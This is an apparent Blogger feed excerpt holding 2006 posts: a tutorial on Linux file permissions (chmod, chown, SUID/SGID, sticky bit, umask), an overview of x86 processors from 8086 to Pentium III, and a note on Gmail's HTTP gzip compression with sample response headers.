0.075em solid darkgreen; text-decoration: underline; color: darkgreen; background-color: transparent; padding-bottom: 1px;" class="iAs"&gt;Unix&lt;/a&gt; in general) defines three different types of rights:  &lt;/p&gt;&lt;p&gt;- Read (symbolized by the letter &lt;strong&gt;r&lt;/strong&gt;), which means that the file can be read;&lt;br /&gt;- Write (symbolized by the letter &lt;strong&gt;w&lt;/strong&gt;), which means that the content of the file can be changed;&lt;br /&gt;- Execute (symbolized by the letter &lt;strong&gt;x&lt;/strong&gt;), which means that the file can be executed.  &lt;/p&gt;&lt;p&gt;For each file, each of these rights (Read, Write and Execute) are defined for three sets of users :  &lt;/p&gt;&lt;p&gt;- The user (symbolized by the letter &lt;strong&gt;u&lt;/strong&gt;), who is the owner of the file.&lt;br /&gt;- The group (symbolized by the letter &lt;strong&gt;g&lt;/strong&gt;), who represents all the users who are members of the group which the file belongs to (as a file belongs both to a user, and a user group).&lt;br /&gt;- The others (symbolized by the letter &lt;strong&gt;o&lt;/strong&gt;), who basically represent all the users that are neither members of the group nor the owner of the file.   &lt;/p&gt;&lt;p&gt;For instance, if a file belongs to George (as the owner) and Administrators (as the group), it can define different Read, Write and Execute permissions for George, for members of the "Administrators" group, and for all other users. &lt;/p&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Reading file permissions : ls -l&lt;/span&gt;&lt;/h1&gt; &lt;p&gt;All information related to file permissions is contained within the file and can be viewed by the "&lt;strong&gt;ls -l&lt;/strong&gt;" command: &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;ls -l myfile&lt;br /&gt;-rwxr-x---  1 george administrators 10 2006-03-09 21:31 myfile&lt;/span&gt;&lt;/pre&gt; &lt;p&gt;As you can see in this example, the "ls -l" command gives a lot of information about the file "myfile": &lt;/p&gt;&lt;p&gt;- Its name, "myfile";&lt;br /&gt;- Its permissions, "-rwxr-x---";&lt;br /&gt;- Its owner, "george";&lt;br /&gt;- Its group, "administrators";&lt;br /&gt;- And other information which is not relevant to this article.    &lt;/p&gt;&lt;p&gt;The way permissions are shown can seem a bit confusing if you're new to GNU/Linux or Unix, but don't be mistaken, it is very simple. The first character simply indicates the type of file as indicated in the table below: &lt;/p&gt;&lt;table border="0"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td width="86"&gt;&lt;strong&gt;Character&lt;/strong&gt;&lt;/td&gt;   &lt;td width="172"&gt;&lt;strong&gt;Type of file&lt;/strong&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;  &lt;td&gt;- &lt;/td&gt;&lt;td&gt;regular file&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;d&lt;/td&gt;&lt;td&gt;  directory&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;l&lt;/td&gt;&lt;td&gt;symbolic link&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;s&lt;/td&gt;&lt;td&gt;socket&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;p&lt;/td&gt;&lt;td&gt;named pipe&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;c&lt;/td&gt;&lt;td&gt;character device file (unbuffered)&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;b&lt;/td&gt;&lt;td&gt;blocked device file (buffered)&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;In this case myfile is a regular file. Let's have a look at the other nine characters: "rwxr-x---". &lt;/p&gt;&lt;p&gt;The first three characters indicate whether or not the read, write and execute permissions are given to the owner (in this case, George). If they are, their character representation appear (r, w or x), otherwise they are replaced by the character "-". In the same manner, the next three characters indicate whether or not these permissions are given to the group (in this case, Administrators). Finally, the last three characters indicate whether the same rights are given to the others (in this case, people who are not members of the Administrators group). &lt;/p&gt;&lt;table border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="76"&gt;&lt;strong&gt;Letter&lt;/strong&gt;&lt;/td&gt; &lt;td width="216"&gt;&lt;strong&gt;Permission&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td&gt;r&lt;/td&gt;&lt;td&gt;Read&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;w&lt;/td&gt;&lt;td&gt;Write&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;x&lt;/td&gt;&lt;td&gt;Execute, Go through (for directories)&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;No permission&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt; &lt;/p&gt; &lt;table border="0"&gt;     &lt;tbody&gt;&lt;tr&gt;       &lt;td width="76"&gt;&lt;strong&gt;Letter&lt;/strong&gt;&lt;/td&gt;       &lt;td width="429"&gt;&lt;strong&gt;Type of users&lt;/strong&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;u&lt;/td&gt;       &lt;td&gt;User (owner of the file)&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;g&lt;/td&gt;       &lt;td&gt;Group (group to which belong the file)&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;o&lt;/td&gt;       &lt;td&gt;Other (users who are neither a member of the Group nor the owner of the file)&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;a&lt;/td&gt;       &lt;td&gt;All (everybody)&lt;/td&gt;     &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;So, in our example myfile features the following set of permissions : "&lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;rwxr-x---&lt;/span&gt;&lt;/pre&gt;". This means that George has all three rights on it, that members of the Administrators group can only read (R) and execute (X) the file, and that everybody else can't do anything with the file. &lt;p&gt;You could imagine that this file, written and maintained by George could be an executable script dedicated to the administrators and not made available to other users.. but hey.. this is only an example, so let's not assume too much :) The important thing is that you now understand the concept of file permissions and that you know how to read them using the "&lt;strong&gt;ls -l&lt;/strong&gt;" command. The next step is to learn how to change them. &lt;/p&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Changing file permissions : chmod&lt;/span&gt;&lt;/h1&gt; &lt;p&gt;You can change the permissions of your files (or other people's files if you're the root superuser) by using the command "chmod". The syntax is very simple. For instance if George decides to give write permissions to the administrators, he will type: &lt;/p&gt;&lt;pre&gt;chmod g+w myfile&lt;/pre&gt; &lt;p&gt;&lt;strong&gt;g&lt;/strong&gt; represents the group of the file (administrators).&lt;br /&gt;&lt;strong&gt;w&lt;/strong&gt; represents the write permission.&lt;br /&gt;&lt;strong&gt;+&lt;/strong&gt; represents the fact that the permission is added.  &lt;/p&gt;&lt;p&gt;If George then lists the permissions using ls -l he obtains:  &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;ls -l myfile&lt;br /&gt;-rwxrwx---  1 george administrators 10 2006-03-09 21:31 myfile&lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;As you can see, the administrators now have write access to the file, and permission to change its content.  &lt;/p&gt;&lt;p&gt;The "&lt;strong&gt;chmod&lt;/strong&gt;" command takes 4 parameters: &lt;/p&gt;&lt;p&gt;- The type of users to apply the change of permissions for (u for user, g for group, o for others, a combination of them or a for all three of them).&lt;br /&gt;- The type of change to make (+ to add permissions, - to remove permissions, = to define permissions)&lt;br /&gt;- The type of permissions to apply the change with (r for read, w for write, x for execute)&lt;br /&gt;- The file or group of files to apply the change on (filename for a precise file, but wildcard characters for multiple files) &lt;/p&gt;&lt;p&gt;Let's have a look at a few examples: &lt;/p&gt;&lt;p&gt;- &lt;strong&gt;chmod o+r myfile&lt;/strong&gt; adds read permission to the others on myfile;&lt;br /&gt;- &lt;strong&gt;chmod ug+rx myfile&lt;/strong&gt; adds read and execute permissions to both the owner (user) and the group on myfile;&lt;br /&gt;- &lt;strong&gt;chmod a-rwx myfile&lt;/strong&gt; removes all permissions to everybody (all) on myfile;&lt;br /&gt;- &lt;strong&gt;chmod a=rx *.txt&lt;/strong&gt; defines permissions to be read and write to everybody on all files suffixed by .txt.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The chmod command also accepts another syntax which is quite popular among system administrators: the octal system. Rather than using letters such as u, g, o, a, r, w and x.. you can use octal numbers. The main advantage is that once you're used to it, it is faster to use. Also, because it sets permissions rather than adding or removing them, you don't accidentally overlook anything. Here is how the octal numbers work: &lt;/p&gt;&lt;p&gt;Each permission is given a value:  &lt;/p&gt;&lt;table border="0"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td&gt;&lt;strong&gt;Permission&lt;/strong&gt;&lt;/td&gt;     &lt;td&gt;&lt;strong&gt;Value&lt;/strong&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;-&lt;/td&gt;     &lt;td&gt;0&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;x&lt;/td&gt;     &lt;td&gt;1&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;w&lt;/td&gt;     &lt;td&gt;2&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;r&lt;/td&gt;     &lt;td&gt;4&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;Values add up when you combine permissions. Consequently the total value can go from 0 (no permission at all) to 7 (full permissions): &lt;/p&gt;&lt;table border="0"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td&gt;&lt;strong&gt;Permission&lt;/strong&gt;&lt;/td&gt;     &lt;td&gt;&lt;strong&gt;Value&lt;/strong&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;---&lt;/td&gt;     &lt;td&gt;0&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;--x&lt;/td&gt;     &lt;td&gt;1&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;-w-&lt;/td&gt;     &lt;td&gt;2&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;-wx&lt;/td&gt;     &lt;td&gt;3&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;r--&lt;/td&gt;     &lt;td&gt;4&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;r-x&lt;/td&gt;     &lt;td&gt;5&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;rw-&lt;/td&gt;     &lt;td&gt;6&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;rwx&lt;/td&gt;     &lt;td&gt;7&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;Finally a value is given for each of the three types of users (User, Group and Other) and these three numbers ranging from 0 to 7 are put together to form the octal number. This is the number you can use with "&lt;strong&gt;chmod&lt;/strong&gt;". &lt;/p&gt;&lt;p&gt;For instance: &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;chmod 750 myfile&lt;/span&gt;&lt;/pre&gt; &lt;p&gt;750 means 7 (rwx) for the owner, 5 (r-x) for the group and 0 (---) for others. As a result, the permissions of myfile will be "rwxr-x---". As seen above this command is equivalent to: &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;chmod u=rwx,g=rx myfile; chmod o-rwx myfile;  &lt;/span&gt;&lt;/pre&gt; &lt;p&gt;Here are some common uses of the octal numbers: &lt;/p&gt;&lt;p&gt;- &lt;strong&gt;chmod 755 myfile&lt;/strong&gt; : rwxr-xr-x, all rights to the owner, other people only read and execute;&lt;br /&gt;- &lt;strong&gt;chmod 644 myfile&lt;/strong&gt; : rw-r--r--, owner car read and write, other people only read;&lt;br /&gt;- &lt;strong&gt;chmod 777 myfile&lt;/strong&gt; : can be considered bad practice in some cases, full permissions to everybody. &lt;/p&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Changing file owner or group : chown, chgrp&lt;/span&gt;&lt;/h1&gt; &lt;p&gt;You can give ownership of your files to somebody else, or change the group that they belong to, by using the commands "chown" and "chgrp". "chown" allows you yo change the owner of the file, and "chgrp" allows you to change its group. &lt;/p&gt;&lt;p&gt;For instance, if George decides to give ownership of myfile to Robert, he can simply type:  &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;chown robert myfile&lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;Also, if Robert later on decides to make the file only available to members of the group "SeniorAdmin" group rather than to those of the group "Administrators", he can type: &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;chgrp senioradmin myfile&lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;Note: The "&lt;strong&gt;chown&lt;/strong&gt;" command also allows to change the group ownership. In fact George could have directly typed the following command:  &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;chown robert:senioradmin myfile&lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;Setting the sticky bit on a directory : chmod +t  &lt;/p&gt;&lt;p&gt;If you have a look at the /tmp permissions, in most GNU/Linux distributions, you'll see the following:  &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;clem@pluto:/$ ls -l | grep tmp&lt;br /&gt;drwxrwxrwt   10 root root  4096 2006-03-10 12:40 tmp&lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;The "t" in the end of the permissions is called the "sticky bit". It replaces the "x" and indicates that in this directory, files can only be deleted by their owners, the owner of the directory or the root superuser. This way, it is not enough for a user to have write permission on /tmp, he also needs to be the owner of the file to be able to delete it. &lt;/p&gt;&lt;p&gt;In order to set or to remove the sticky bit, use the following commands:  &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;chmod +t tmp&lt;br /&gt;chmod -t tmp&lt;/span&gt;&lt;/pre&gt;  &lt;h1&gt;&lt;span style="font-size:100%;"&gt;Setting the SGID attribute on a directory : chmod g+s&lt;/span&gt;&lt;/h1&gt;  &lt;p&gt;If the SGID (Set Group Identification) attribute is set on a directory, files created in that directory inherit its group ownership. If the SGID is not set the file's group ownership corresponds to the user's default group. &lt;/p&gt;&lt;p&gt;In order to set the SGID on a directory or to remove it, use the following commands:  &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;chmod g+s directory&lt;br /&gt;chmod g-s directory&lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;When set, the SGID attribute is represented by the letter "s" which replaces the "x" in the group permissions:  &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;ls -l directory&lt;br /&gt;drwxrwsr-x  10 george administrators  4096 2006-03-10 12:50 directory&lt;/span&gt;&lt;/pre&gt;  &lt;h1&gt;&lt;span style="font-size:100%;"&gt;Setting SUID and SGID attributes on executable files : chmod u+s, chmod g+s&lt;/span&gt;&lt;/h1&gt;  &lt;p&gt;By default, when a user executes a file, the process which results in this execution has the same permissions as those of the user. In fact, the process inherits his default group and user identification. &lt;/p&gt;&lt;p&gt;If you set the SUID attribute on an executable file, the process resulting in its execution doesn't use the user's identification but the user identification of the file owner. &lt;/p&gt;&lt;p&gt;For instance, consider the script myscript.sh which tries to write things into mylog.log :  &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;ls -l&lt;br /&gt;-rwxrwxrwx  10 george administrators  4096 2006-03-10 12:50 myscript.sh&lt;br /&gt;-rwxrwx---  10 george administrators  4096 2006-03-10 12:50 mylog.log&lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;As you can see in this example, George gave full permissions to everybody on myscript.sh but he forgot to do so on mylog.log. When Robert executes myscript.sh, the process runs using Robert's user identification and Robert's default group (robert:senioradmin). As a consequence, myscript fails and reports that it can't write in mylog.log. &lt;/p&gt;&lt;p&gt;In order to fix this problem George could simply give full permissions to everybody on mylog.log. But this would make it possible for anybody to write in mylog.log, and George only wants this file to be updated by his myscript.sh program. For this he sets the SUID bit on myscript.sh: &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;chmod u+s myscript.sh&lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;As a consequence, when a user executes the script the resulting process uses George's user identification rather than the user's. If set on an executable file, the SUID makes the process inherit the owner's user identification rather than the one of the user who executed it. This fixes the problem, and even though nobody but George can write directly in mylog.log, anybody can execute myscript.sh which updates the file content. &lt;/p&gt;&lt;p&gt;Similarly, it is possible to set the SGID attribute on an executable file. This makes the process use the owner's default group instead of the user's one. This is done by: &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt; chmod g+s myscript.sh &lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;By setting SUID and SGID attributes the owner makes it possible for other users to execute the file as if they were him or members of his default group. &lt;/p&gt;&lt;p&gt;The SUID and GUID are represented by a "s" which replaces the "x" character respectively in the user and group permissions:  &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;chmod u+s myscript.sh&lt;br /&gt;ls -l&lt;br /&gt;-rwsrwxrwx  10 george administrators  4096 2006-03-10 12:50 myscript.sh&lt;br /&gt;chmod u-s myscript.sh&lt;br /&gt;chmod g+s myscript.sh&lt;br /&gt;ls -l&lt;br /&gt;-rwxrwsrwx  10 george administrators  4096 2006-03-10 12:50 myscript.sh&lt;/span&gt;&lt;/pre&gt;   &lt;h1&gt;&lt;span style="font-size:100%;"&gt;Setting the default file creation permissions : umask&lt;/span&gt;&lt;/h1&gt;  &lt;p&gt;When a file is created, its permissions are set by default depending on the umask setting. This value is usually set for all users in /etc/profile and can be obtained by typing: &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;umask&lt;/span&gt;&lt;/pre&gt;  &lt;p&gt;The default umask value is usually 022. It is an octal number which indicates what rights will be removed by default to all new files. For instance, 022 indicates that write permissions will not be given to group and other. &lt;/p&gt;&lt;p&gt;By default, and with a umask of 000, files get mode 666 and directories get mode 777. As a result, with a default umask value of 022, newly created files get a default mode 644 (666 - 022 = 644) and directories get a default mode 755 (777 - 022 = 755). &lt;/p&gt;&lt;p&gt;In order to change the umask value, simply use the umask command and give it an octal number. For instance, if you want all new directories to get permissions rwxr-xr--- and files to get permissions rw-r----- by default (modes 750 and 640), you'll need to use a umask value which removes all rights to other, and write permissions to the group : 027. The command to use is: &lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;umask 027&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-646249779415956295?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/646249779415956295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=646249779415956295' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/646249779415956295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/646249779415956295'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2006/11/understanding-file-permissions-on-linux.html' title='Understanding file permissions on Linux'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-7926436350438873492</id><published>2006-07-19T01:27:00.000-07:00</published><updated>2007-02-19T01:29:39.564-08:00</updated><title type='text'>Processors overview</title><content type='html'>I read too many books for the intro of Assembly language and processors every one starts with 8086 or 80386. They are considered as base processors...  well 8086 is the basic is famous for its real mode (which is outdated in this 32 bit  world ) but still 8086 will serve as a good prototype... and 80386 the basic processor for 32 bit Intel based  processors and can run in protected mode (this is the mode where the current windows, linux os) well 64 bit processors and OS are also out...  but I *GUESS* they too run in protected that is simillar to 32 bit only difference being the 64 bit registers, 64 bit bus architecture ?...&lt;br /&gt;&lt;div&gt;&lt;span class="554521207-13072006"&gt;&lt;br /&gt;DONT GET CONFUSED BY SEEING REAL, PROTECTED MODES  for now just remember that they are some way of accessing &amp; representing memory...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well the following is the list of various major processor's of pentium from 8086 to pentiumIII listed with differences in  &lt;/span&gt;&lt;/span&gt;Dr.Paul Carter's book on assembly.The book is free, please download  it from his &lt;a href="http://www.drpaulcarter.com/pcasm/"&gt;website&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;8088,8086:&lt;/span&gt; These CPU’s from the programming standpoint are identical.&lt;br /&gt;They were the CPU’s used in the earliest PC’s. They provide several&lt;br /&gt;16-bit registers: AX, BX, CX, DX, SI, DI, BP, SP, CS, DS, SS, ES, IP,&lt;br /&gt;FLAGS. They only support up to one megabyte of memory and only&lt;br /&gt;operate in real mode. In this mode, a program may access any memory&lt;br /&gt;address, even the memory of other programs! This makes debugging&lt;br /&gt;and security very difficult! Also, program memory has to be divided&lt;br /&gt;into segments. Each segment can not be larger than 64K.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;80286:&lt;/span&gt; This CPU was used in AT class PC’s. It adds some new instructions&lt;br /&gt;to the base machine language of the 8088/86. However, its main new&lt;br /&gt;feature is 16-bit protected mode. In this mode, it can access up to 16&lt;br /&gt;megabytes and protect programs from accessing each other’s memory.&lt;br /&gt;However, programs are still divided into segments that could not be&lt;br /&gt;bigger than 64K.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;80386: &lt;/span&gt;This CPU greatly enhanced the 80286. First, it extends many of&lt;br /&gt;the registers to hold 32-bits (EAX, EBX, ECX, EDX, ESI, EDI, EBP,&lt;br /&gt;ESP, EIP) and adds two new 16-bit registers FS and GS. It also adds&lt;br /&gt;a new 32-bit protected mode. In this mode, it can access up to 4&lt;br /&gt;gigabytes. Programs are again divided into segments, but now each&lt;br /&gt;segment can also be up to 4 gigabytes in size!&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;80486/Pentium/Pentium Pro:&lt;/span&gt; These members of the 80x86 family add&lt;br /&gt;very few new features. They mainly speed up the execution of the&lt;br /&gt;instructions.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Pentium MMX:&lt;/span&gt; This processor adds the MMX (MultiMedia eXtensions)&lt;br /&gt;instructions to the Pentium. These instructions can speed up common&lt;br /&gt;graphics operations.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Pentium II:&lt;/span&gt; This is the Pentium Pro processor with the MMX instructions&lt;br /&gt;added. (The &lt;span style="font-weight: bold;"&gt;Pentium III is essentially just a faster Pentium II&lt;/span&gt;.)&lt;br /&gt;&lt;br /&gt;what about PentiumIV ?&lt;br /&gt;&lt;br /&gt;So the Programming Instructions  used for 80386 will work with pentium and unless we want some multimedia related Programs, I guess there is no need to learn about those?...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-7926436350438873492?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/7926436350438873492/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=7926436350438873492' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7926436350438873492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7926436350438873492'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2006/07/processors-overview.html' title='Processors overview'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-113833913743520444</id><published>2006-06-26T21:05:00.000-07:00</published><updated>2007-02-19T01:24:19.795-08:00</updated><title type='text'>HTTP  Compression</title><content type='html'>Huh......&lt;br /&gt;I was recently testing the page load times of different mail providers on a 28.8 kbps dailup.&lt;br /&gt;It was boring as it was taking some time for the pages to load...&lt;br /&gt;&lt;br /&gt;Until  I started checking the times taken by Gmail  .......Oh!! awesome ....&lt;br /&gt;while others were taking considerable amount of time Gmail was very fast ......&lt;br /&gt;Fast enough that for a 3 Mb txt attachment that others were taking around 90 sec, Gmail was taking just 10-11 sec .....(of course for other type of attchments like pdf it was almost simillar 10 sec less than other)&lt;br /&gt;&lt;br /&gt;Normal html loading also  was faster than others ..........&lt;br /&gt;&lt;br /&gt;I tried to figure out the reason...Just to find that they have used technology to perfection......&lt;br /&gt;&lt;br /&gt;1)They dont have many images and no flash at all ....every thing is text/html...&lt;br /&gt;&lt;br /&gt;2)They were using http gzip compression that the browsers support (I think that this technology was there from more than 5 years** from now, but none of the other providers were using it). Here are headers for the 3mb attachment...&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;span class="378162404-27012006"&gt;Response form Gmail  for a 3mb attachment.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;HTTP/1.1 200 OK&lt;br /&gt;Cache-control:  no-cache&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Content-Type: text/html;  charset=utf-8&lt;br /&gt;Set-Cookie: GMAIL_RTT=EXPIRED; Domain=.google.com; Expires=Thu,  26-Jan-06 04:24:27 GMT; Path=/mail&lt;br /&gt;Set-Cookie: GMAIL_LOGIN=EXPIRED;  Domain=.google.com; Expires=Thu, 26-Jan-06 04:24:27 GMT;  Path=/mail&lt;br /&gt;Set-Cookie:  S=gmail=pSBFaGg5drM:gmail_yj=vDbrDzjdUdU:gmproxy=UqLIudHgRn4;  Domain=.google.com; Path=/&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Content-Encoding:  gzip&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;Server: GFE/1.3&lt;br /&gt;Date:  Fri, 27 Jan 2006 04:24:27 GMT&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Headers for the contacts page request.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;&lt;span class="378162404-27012006"&gt;HTTP/1.1 200  OK&lt;br /&gt;Cache-control: no-cache&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Content-Type: text/html;  charset=utf-8&lt;br /&gt;Set-Cookie: GBE=EXPIRED; Expires=Thu, 26-Jan-06 04:28:27 GMT;  Path=/mail&lt;br /&gt;Set-Cookie: GMAIL_RTT=EXPIRED; Domain=.google.com; Expires=Thu,  26-Jan-06 04:28:27 GMT; Path=/mail&lt;br /&gt;Set-Cookie: GMAIL_LOGIN=EXPIRED;  Domain=.google.com; Expires=Thu, 26-Jan-06 04:28:27 GMT;  Path=/mail&lt;br /&gt;Set-Cookie:  S=gmail=pSBFaGg5drM:gmail_yj=rv2s9ehL900:gmproxy=UqLIudHgRn4;  Domain=.google.com; Path=/&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Content-Encoding:  gzip&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Transfer-Encoding: chunked&lt;br /&gt;Server: GFE/1.3&lt;br /&gt;Date:  Fri, 27 Jan 2006 04:28:27 GMT&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;3)Good use of ajax...they will just send the request for the data that is required ...if you click on contacts only one request will be sent to fetch the contacts and it response will be rendered with the existing side and top nav bars ........&lt;br /&gt;&lt;br /&gt;If you want to know more about http compression check out this websites.......&lt;br /&gt;&lt;a href="http://www-128.ibm.com/developerworks/web/library/wa-httpcomp/"&gt;http://www-128.ibm.com/developerworks/web/library/wa-httpcomp/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.http-compression.com/"&gt;http://www.http-compression.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Kudos to google......&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:arial;"&gt;**I came to this conclusion after seeing http://www.vigos.com/ which was establised in 2000.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-113833913743520444?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/113833913743520444/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=113833913743520444' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/113833913743520444'/><link rel='self' type='application/atom+xml' 